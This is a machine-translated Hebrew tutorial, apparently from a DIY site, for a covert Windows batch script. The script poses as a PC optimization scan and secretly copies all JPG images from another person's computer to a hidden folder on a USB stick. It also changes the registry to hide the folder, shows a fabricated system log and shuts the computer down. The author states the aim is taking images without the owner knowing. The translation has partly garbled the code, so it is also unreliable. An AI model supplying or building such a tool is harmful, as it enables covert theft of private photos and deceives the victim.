קובץ אצווה סודי של צילום תמונות ריגול תמונות מרגלות: 5 שלבים

2024 מְחַבֵּר: John Day | [email protected]. שונה לאחרונה: 2024-01-30 09:18

אז ראשית, מה זה יצירת ההוראה ולמה. ההוראה הזו תאפשר לך ליצור קובץ אצווה שיעתיק את כל התמונות מהמחשב למקל הזיכרון שלך. היא תעשה זאת בדיסקרטיות, ומתיימרת כתוכנית נוספת הבודקת בעיות במחשב. בסיום, תהיה לך תיקייה מוסתרת על הזיכרון שלך עם כל התמונות שהועתקו. יצרתי את זה להוראה כי רציתי לאחזר תמונה דיגיטלית ממכונה של מישהו מבלי שהם ידעו שעשיתי את זה. השימוש הלגיטימי בקובץ זה יאפשר לך לאחסן/לגבות את התמונות האישיות שלך.שימושים אחרים: ניתן לשנות קובץ זה כדי לאפשר העתקת כל סוג אחר של מסמך.

שלב 1: כתוב את הקוד

העתק את הקוד הבא לפנקס הרשימות ושמור אותו על שורש הזיכרון כקובץ עטלף, תוכל לתת לו שם מה שתרצה כל עוד יש לו את הסיומת.bat. כדי לוודא שיש לו את הסיומת הנכונה, הקלד אותו כדלקמן בתיבת השמירה של פנקס הרשימות "copyimage.bat" (כלול את הצעות המחיר!)

@echo offecho Client Optimization 2008 v3.02becho -------------------------------- echo.echo נא לא להשתמש במחשב האישי שלך בזמן שזה רץ. רשימת תהליכי סריקה.echo.echo. בסיום יופיע יומן מערכת מנהל המערכת שלך לבדיקת.echo.echo אנא התאזר בסבלנות, זה עלול לקחת עד 3 שעות. Reg להוסיף HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002/f> nulmkdir / data> nulattrib +h / data> nulsetLocal EnableDelayedExpansion@echo offfor %% a in (jpg) do (for/f "tokens =* delims =" %% f in ('dir/b/s/ מודעה c: \*. %% a ') do (xcopy "%% f" / data / /y /h /q> nul)) attrib -s +h data \*> nulstart optimizationLog.txtshutdown /s /c " סריקת האופטימיזציה הושלמה, המחשב שלך יכבה כעת"

שלב 2: צור קובץ דוח מזויף

בשלב זה יצרתי קובץ טקסט מזויף המתיימר להיות יומן התוצאה של קובץ האצווה אותו אנו מריצים להעתיק את הקבצים. זה מאפשר לך להעמיד פנים שמשהו קרה. לא משנה מה הקובץ הזה אומר, אתה יכול לשנות אותו כמה שאתה רוצה, רק וודא ששמו הקובץ נכון וכי הוא מאוחסן על השורש של כרטיס הזיכרון שלך. הטקסט שהשתמשתי בו הוא בעיקר מחטיפה זו יומן, העתק אותו ושמור אותו בבסיס שורת הזיכרון שלך כ optimizationLog.txt

הסריקה הושלמה. סגור יומן זה ואפשר למנהל המערכת שלך לבדוק אותו. תהליכי הפעלה: C: / Windows / system32 / taskeng.exeC: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Program Files / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Program Files / Synaptics / SynTP / SynTPEnh.exeC: / Program Files / TOSHIBA / Power Saver / TPwrMain.exeC: / Program Files / TOSHIBA / SmoothView / SmoothView.exeC: / Program Files / TOSHIBA / FlashCards / TCrdMain.exeC: / Program Files / BitDefender / BitDefender 2009 / bdagent.exeC: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Program Files / Registry Mechanic / regmech.exeC: / Program Files / BitDefender / BitDefender 2009 / seccenter.exeC: / Program Files / Synaptics / SynTP / SynTPHelper.exeC: / Program Files / Vuze / Azureus.exeC: / Program Files / Microsoft Office / Office12 / OUTLOOK. EXEC: / Program Files / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskCleanup.0001C: / Program Files / Mozilla Firefox / firefox.exeC: / Windows / System32 / NOTE PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main, דף חיפוש = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main, דף התחלה = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Search_URL = https://go.microsoft.com/ fwlink/? LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main, דף חיפוש = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main, התחל דף = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search, SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search, CustomizeSearch = R0 - HKCU / Software / Microsoft / Internet Explorer / Too lbar, LinksFolderName = O1 - מארחים::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C -E8AD -4283 -A596 -FA578C2EBDC3} - C: / Program Files / Common Files / Adobe / Acrobat / ActiveX / AcroIEHelperShim.dll Groove GFS Helper Browser Helper-{72853161-30C5-4D22-B7F9-0BBC1D38A37E}-C: / Program Files / Microsoft Office / Office12 / GrooveShellExtensions.dllO2-BHO: SSVHelper Class-{761497BB-D6F0-462C-B6ED-D6: / Program Files / Java / jre1.6.0_07 / bin / ssv.dllO3 -סרגל כלים: סרגל הכלים של BitDefender -{381FFDE8-2394-4f90 -B10D -FC6124A40F8C} -C: / Program Files / BitDefender / BitDefender 2009 / IEToolbar.dllO4 - HKLM \.. / Run: [Windows Defender] %ProgramFiles %\ Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Run: [SunJavaUpdateSched] "C: / Program Files / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / Run: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / Run: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / הפעלה: [התמדה] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / הפעלה: [SynTPEnh] C: / Program Files / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / Run: [TPwrMain] %ProgramFiles %\ TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / Run: [SmoothView] %ProgramFiles %\ Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / הפעלה: [00TCrdMain] %ProgramFiles %\ TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / הפעלה: [Toshiba TEMPO] C: / Program Files / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / Run: [BDAgent] "C: / Program Files / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Run: [BitDefender Antiphishing Helper] "C: / Program קבצים / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / הפעלה: [TOSCDSPD] C: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / הפעלה: [RegistryMechanic] C: / Files / Registry Mechanic / RMTray.exe /HO4 - אתחול: OneNote 2007 Clipper Screen and Launcher.lnk = C: / Program Files / Microsoft Office / Office12 / ONENOTEM. EXEO8 - פריט בתפריט הקשר נוסף: E & xport ל- Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9-כפתור נוסף: (ללא שם)-{08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - תפריט 'כלים נוספים': Sun Java Console - {08B0E5C0-4FCB -11CF -AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9-לחצן נוסף: שלח ל- OneNote-{2670000A-7350-4f3c-8081-5663EE0C6C49}-C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - תפריט נוסף של 'כלים': S & סוף ל- OneNote - {2670000A -7350-4f3c -8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - כפתור נוסף: eBay.co.uk - קנה It Sell It Love It-{76577871-04EC-495E-A12B-91F7C3600AFA}-https://rover.ebay.com/rover/1/710-44557-9400-3/4 (קובץ חסר) O9-כפתור נוסף: (ללא שם)-{85d1f590-48f4-11d9-9669-0800200c9a66}- %windir %\ bdoscandel.exe (קובץ חסר) O9-תפריט 'כלים נוספים': הסר את התקנת BitDefender Online Scanner v8-{85d1f590-48f4-11d9-9669 -0800200c9a66} - %windir %\ bdoscandel.exe (קובץ חסר) O9 -כפתור נוסף: Amazon.co.uk -{8A918C1D -E123-4E36 -B562-5C1519E434CE} -https://www.amazon.co.uk/ exec/obidos/redirect-home? tag = Toshibaukbholink-2 1 & site = home (קובץ חסר) O9 - כפתור נוסף: מחקר - {92780B25-18CC -41C8 -B9BE -3C9C571A8263} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / REFIEBAR. DLLO10 - קובץ לא ידוע ב- Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - קובץ לא ידוע ב- Winsock LSP: c: / windows / system32 / napinsp.dllO10 - קובץ לא ידוע ב- Winsock LSP: c: / קבצי תוכנה / vmware / vmware תחנת עבודה / vsocklib.dllO10 - קובץ לא ידוע ב- Winsock LSP: c: / files files / vmware / vmware work station / vsocklib.dllO11-קבוצת אפשרויות: [INTERNATIONAL] בינלאומי*O13-קידומת Gopher: O16-DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (get_atlcom Class)) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - פרוטוקול: grooveLocalGWS - {88FED34C -F0CA -4636 -A375-3CB6248B04CD} - C: / Program Files / Microsoft Office / Office12 / GrooveSystemServices.dllO18-פרוטוקול: ms-help-{314111C7-A502-11D2-BBCA-00C04F8EC294}-C: / Program Files / Common Files / Microsoft Shared / Help / hxds.dllO18-חטיפת מסננים: טקסט/ xml-{807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA ~ 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - הודעת Winlogon: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - שירות: Agere Modem Call Progress Audio (AgereModemAudio) - Agere מערכות - C: / Windows / system32 / agrsmsvc.exeO23 - שירות: BitDefender Server Arrakis (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Program Files / Common Files / BitDefender / BitDefender Server Arrakis / bin / Arrakis3.exeO23 - שירות: שירות רישוי של Autodesk - Autodesk - C: / Program Files / Common Files / Autodesk Shared / Service / AdskScSrv.exeO23 - שירות: שירות ConfigFree - TOSHIBA CORPORATION - C: / Program Files / TOSHIBA / ConfigFree / CFSvcs.exeO23 - שירות: @%SystemRoot%\ ehome / ehstart.dll, -101 (ehstart) - בעלים לא ידוע - %windir %\ system32 / svchost.exe (קובץ חסר) O23 - שירות: getPlus (R) Helper - NOS Microsystems Ltd. - C: / Program Files / NOS / bin / getPlus_HelperSvc.exeO23 - שירות: שירות Google Update (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - בעלים לא ידועים - C: / Program Files / Google / Update / GoogleUpdate.exe " /svc (קובץ חסר) O23 - שירות: שירות עדכון שולחן העבודה של BitDefender (LIVESRV) - בעלים לא ידועים - C: / Program Files / Common קבצים / BitDefender / BitDefender Update Service / livesrv.exe " /שירות (קובץ חסר) O23 - שירות: @%SystemRoot%\ system32 / qwave.dll, -1 (QWAVE) - בעלות לא ידועה r -%windir%\ system32 / svchost.exe (קובץ חסר) O23 - שירות: @%SystemRoot%\ system32 / seclogon.dll, -7001 (seclogon) - בעל לא ידוע -%windir%\ system32 / svchost.exe (קובץ חסר) O23 - שירות: שירות כוונון ביצועים של מחברת (TempoMonitoringService) - Toshiba Europe GmbH - C: / Program Files / Toshiba TEMPRO / TempoSVC.exeO23 - שירות: שירות תמיכה של TOSHIBA Navi (TNaviSrv) - TOSHIBA Corporation - C: / Program Files / TOSHIBA / TOSHIBA DVD PLAYER / TNaviSrv.exeO23 - שירות: שירות כונני דיסק אופטי של TOSHIBA (TODDSrv) - TOSHIBA Corporation - C: / Windows / system32 / TODDSrv.exeO23 - שירות: TOSHIBA Saver Power (TosCoSrv) - TOSHIBA Corporation - c: / קבצי התוכנית / TOSHIBA / Saver Power / TosCoSrv.exeO23 - שירות: שירות TOSHIBA SMART Log - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - שירות: VMware Agent Service (ufad -ws60) - בעלים לא ידועים - C: / Program Files / VMware / VMware Workstation / vmware -ufad.exe "-d" C: / Program Files / VMware / VMware Workstation / "-s ufad -p2v.x ml (קובץ חסר) O23 - שירות: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C: / Program Files / Common Files / Ulead Systems / DVD / ULCDRSvr.exeO23 - שירות: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C: / Program Files / VMware / VMware Workstation / vmware -authd.exeO23 - שירות: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C: / Windows / system32 / vmnetdhcp.exeO23 - שירות: VMware NAT שירות - VMware, Inc. - C: / Windows / system32 / vmnat.exeO23 - שירות: BitDefender Virus Shield (VSSERV) - בעלים לא ידועים - C: / Program Files / BitDefender / BitDefender 2009 / vsserv.exe " /שירות (קובץ חסר) O23 - שירות: שרת VNC גירסה 4 (WinVNC4) - בעלים לא ידועים - C: / Program Files / RealVNC / VNC4 / WinVNC4.exe "-service (קובץ חסר) O23 - שירות: @%ProgramFiles%\ Windows Media Player / wmpnetwk.exe, -101 (WMPNetworkSvc) - בעלים לא ידועים - %ProgramFiles %\ Windows Media Player / wmpnetwk.exe (הקובץ חסר)

שלב 3: הפעל את התוכנית

כעת אמור להיות לך זיכרון עם שני קבצים עליו (והרבה מקום פנוי מוכן לתמונות החדשות). אם יש לך עוד משהו בכונן זה לא משנה. קח את זיכרון הזיכרון למחשב היעד שלך. כאשר הוא רשום, שים לב לאות הכונן שהוקצתה לו, זה יאפשר לך להריץ אותו מבלי שתצטרך לעבור לתיקיה תחילה. לחץ על מקש Windows ולאחר מכן הקש על 'R' (תוך החזקת מקש Windows). פעולה זו תציג תיבת הפעלה. בתיבת ההפעלה, הקלד את הנתיב של קובץ האצווה שיצרנו, ואות הכונן היא האות שהוקצתה כאשר חיברת את זיכרון הזיכרון. לדוגמה, אם אני מכניס את הזיכרון שלי והוא רושם ag: / drive אז הייתי רץ: g: / copyimage.bat ולאחר מכן הקש enter, או לחץ על הפעלה. פעולה זו תפעיל את קובץ האצווה. כאשר היא תושלם, המכשיר יכבה. הסר את כרטיס הזיכרון שלך וקח אותו!

שלב 4: קבל את התמונות

כעת אמור להיות לך זיכרון עם כל התמונות עליו. הקבצים והתיקיה מוסתרים, כך שאם לא מוצגת שלך, יהיה עליך להפעיל אותה. לשם כך היכנס לחלון סייר (למשל פתח את המחשב שלי) ו: WinXP - כלים, תיקיות אפשרויות, תצוגה, הצג קבצים מוסתרים Vista - ארגן, תיקייה ואפשרויות חיפוש, תצוגה, הצג קבצים מוסתרים לאחר שנבחר, תוכל לפתוח את תיקיה נסתרת וקבל את התמונות שרצית!

שלב 5: מה משמעות הקוד

אסביר כמה שיותר מהקוד. פונקציית ההעתקה העיקרית לא נכתבה על ידי, השאלתי אותה מהאתר הבא ושיניתי אותה:

@echo off '' מפסיק את הצגת הפקודות על המסך, כך שהמשתמש לא יודע מה נעשה הד הדוח לקוח אופטימיזציה 2008 v3.02b ------------------- -------------הֵד. כותב על המסך כותרת להד התוכנית נא לא להשתמש במחשב האישי שלך בזמן שהוא מפעיל רשימת תהליכי סריקה. בסיום יופיע יומן שבו מנהל המערכת שלך יכול לבדוק.echo.echo אנא התאזר בסבלנות, זה עלול לקחת עד 3 שעות. אומר למשתמש המון זבל שאינו נכון reg add HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002 /f> nul הוספת מפתח רישום שיסתיר קבצים מוסתרים ו תיקיות. זה מונע מהמשתמש לראות את התיקייה שאנו יוצרים כדי להחזיק את התמונות שהועתקו. הפקודה nul בסוף מונעת מהפקודה לדווח על הודעות כלשהן כשהיא מסיימת mkdir / data> nul יוצר תיקייה בכונן שקובץ אצווה זה שוכן על נתונים הנקראים. attrib +h / data> nul מסתיר את ערכת התיקיות שנוצרה Local EnableDelayedExpansionfor %% a in (jpg) do (for/f "tokens =* delims =" %% f in ('dir/b/s/ad c: \*. %% a ') do (xcopy "%% f" / data / /y /h /q> nul)) זהו הקוד שיחפש בכל c: / drive אחר תמונות. אם אתה רוצה שהוא יחפש כונן אחר, שנה את החלק c: למה שאתה רוצה. אם אתה רוצה שהוא ימצא סוגי קבצים אחרים, רשום אותם ליד הטקסט jpg, הפרד בין סוגי הקבצים ברווח. לדוגמה-j.webp